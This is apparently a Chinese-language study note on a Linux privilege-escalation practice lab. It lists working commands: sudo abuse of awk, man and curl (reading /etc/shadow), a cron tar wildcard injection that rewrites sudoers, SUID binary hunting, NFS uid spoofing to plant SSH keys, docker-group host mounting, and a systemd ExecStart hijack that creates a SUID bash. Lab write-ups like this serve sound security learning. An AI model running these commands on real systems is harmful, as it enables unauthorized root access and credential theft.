0x00 前言
本文是在阅读了in.security 提权靶场通关手册
后学习的一点总结和记录,作为笔记供以后使用查阅。原文链接将附在文末。
0x01 信息收集
获取到一个shell后,要进行一系列的信息收集,以获取更多的提权思路。
检测当前用户权限
whoami
id
查看系统的发行版本和内核版本
lsb_release -a
uname -a
查看suid文件
- 查看运行的服务及安装的程序
- 查看
/etc/passwd
文件及隐藏文件等
收集到的信息越多,越能找到更多的突破口。
0x02 提权方法
sudo 提权
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。普通用户可以通过sudo -l
命令查看可以执行哪些命令。这样普通用户就可以在不知道root密码的情况下使用这些命令。因为用户使用sudo
命令时需验证自己身份,因此这个方法需要知道普通用户的密码。
可以看到靶场bob
用户可以使用awk
curl
man
等很多命令。
那么下面就这些命令展开利用,这里推荐一个在线查询工具:https://gtfobins.github.io/
sudo awk 'BEGIN {system("/bin/sh")}'
这里借助awk
直接获取到root权限
接下来用man
试一下
1 | sudo man man |
利用script
script -q /dev/null
利用curl
读取root文件
curl file:///etc/shadow
其他的都可以通过上面的在线网站查找到利用方式,这里不一一例举了。
cronjobs 提权
如果系统管理员设置了计划任务并以root权限运行,比如周期性的运行某一个脚本,如果普通有权限修改这个脚本的话,便可以执行任意命令造成权限提升。
此外还有一个Crontab Tar通配符注入,当计划任务中以root权限进行tar命令操作时,可以造成通配符注入进行权限提升。下面在靶场中进行展示。
查看/etc/crontab
,可以看到每分钟执行了backup
脚本
查看backup内容,进行了tar打包操作,
然后便可以进行提权操作了
1 | echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh |
等一分钟后,待计划任务完成,使用sudo bash
,便会提升至root权限。
那么在第一步说到的信息收集中,查看/etc/crontab
也应该被列为信息收集的一步,说不定就会有意想不到的收获。
所以在设定计划任务时要注意一些问题:
- crontab任务千万不要写到/etc/crontab文件里。通过crontab -e去创建,让他写到默认的/var/spool/cron下;
- 尽量避免使用root 去创建,如果一定要用root,要注意设置权限。
SUID 提权
suid是指二进制文件在执行时拥有其拥有者owner的权限,例如passwd
命令
使用find / -user root -perm -4000 2>/dev/null
或者find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
查找所有owner为root且为suid的二进制文件
查看其中一个/usr/bin/taskset
,在前面提到的在线网站GTFOBins查看命令
sudo taskset 1 /bin/sh
直接获取到root权限
NFS 未授权
nmap扫描一下nmap -T4 -sS -Pn 192.168.111.122
发现了2049端口开启的nfs服务,nfs,英文全称Network File System,即网络文件系统,是由SUN公司研制的UNIX表示层协议,能使使用者访问网络上别处的文件就像在使用自己的计算机一样。
这里使用两外一台机器对其进行访问。
首先showmount -e 192.168.111.122
查看可以访问的目录。
将其挂载到本地进行查看
我们在挂载的/mnt/peter
目录是没有写权限的,但是由于其所有者uid设定1001,所属组gid设定1005,所有只需要本地创建一个uid为1001,gid为1005的用户即可绕过其权限验证。
创建一个符合要求的用户后,即可执行写操作了。
生成新创建用户boogle的ssh公钥对和私钥对。
因为现在又对peter家目录的写权限,所以现在可以直接将上面的公钥对写入到peter的.ssh
目录下,这样便可以直接使用ssh登陆获取peter用户的shell。
docker 组用户提权
查看上面peter发现其属于docker
组用户
docker组用户的权限还是非常大的,相当于root权限了。可以借助其提权到root权限。
思路参考:普通用户借助Docker容器提权思路分享。
还有一个具体的利用代码:https://github.com/chrisfosterelli/dockerrootplease
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
systemd 配置提权
查看文件,并且peter用户有对其读写的权限。
修改其配置ExecStart指向我们自定义的二进制文件,其启动时便会以root用户执行这个文件。
创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh
重启之前便会生成systemdbash文件
复制前面的ssh公钥到root用户下
然后便可以直接ssh登陆到root